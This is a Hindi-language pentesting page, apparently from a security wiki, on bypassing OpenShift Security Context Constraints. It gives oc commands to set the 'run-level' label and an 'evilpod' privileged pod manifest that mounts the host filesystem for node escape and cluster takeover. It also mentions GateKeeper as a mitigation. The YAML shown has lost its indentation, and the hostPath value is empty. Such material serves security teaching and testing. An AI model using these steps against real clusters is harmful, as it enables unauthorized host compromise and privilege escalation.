# Openshift - SCC bypass

**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## विशेषाधिकार प्राप्त नामस्थान

डिफ़ॉल्ट रूप से, SCC निम्नलिखित परियोजनाओं पर लागू नहीं होता है:

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

यदि आप इन नामस्थानों में से किसी एक में पॉड्स तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल प्रणाली को माउंट करने की अनुमति मिलती है।

## नामस्थान लेबल

RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC आवेदन को अक्षम करने का एक तरीका है। आपको निम्नलिखित में से कम से कम एक अनुमति होनी चाहिए:

- एक नामस्थान बनाना और इस नामस्थान पर एक पॉड बनाना
- एक नामस्थान संपादित करना और इस नामस्थान पर एक पॉड बनाना
```bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes
```
विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के भीतर सभी पॉड्स पर कोई SCCs लागू नहीं होते, प्रभावी रूप से किसी भी प्रतिबंध को हटा दिया जाता है।

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## लेबल जोड़ें

अपने नामस्थान में लेबल जोड़ने के लिए:
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
एक YAML फ़ाइल के माध्यम से लेबल के साथ एक नामस्थान बनाने के लिए:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
अब, नामस्थान पर बनाए गए सभी नए पॉड्स में कोई SCC नहीं होनी चाहिए

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>

SCC की अनुपस्थिति में, आपके पॉड परिभाषा पर कोई प्रतिबंध नहीं हैं। इसका मतलब है कि एक दुर्भावनापूर्ण पॉड को आसानी से बनाया जा सकता है ताकि वह होस्ट सिस्टम पर भाग सके।
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
अब, होस्ट सिस्टम तक पहुँचने के लिए विशेषाधिकारों को बढ़ाना और इसके बाद पूरे क्लस्टर पर नियंत्रण प्राप्त करना, 'cluster-admin' विशेषाधिकार प्राप्त करना आसान हो गया है। निम्नलिखित पृष्ठ में **Node-Post Exploitation** भाग देखें:

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### कस्टम लेबल

इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही इसे इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियाँ देने, किसी विशेष संसाधन को प्रतिबंधित करने या न करने के लिए किया जा सकता है।

यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:

- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## सभी विशेषाधिकार प्राप्त नामस्थान सूचीबद्ध करें
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Advanced exploit

OpenShift में, जैसा कि पहले दिखाया गया, `openshift.io/run-level` लेबल के साथ एक नामस्थान में एक पॉड को तैनात करने की अनुमति होने से क्लस्टर का सीधा अधिग्रहण हो सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **निष्क्रिय नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।

हालांकि, **Open Policy Agent GateKeeper** जैसी शमन उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।

GateKeeper के नियमों को बायपास करने और क्लस्टर अधिग्रहण को निष्पादित करने के लिए इस लेबल को सेट करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करने की आवश्यकता होगी।**

## References

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)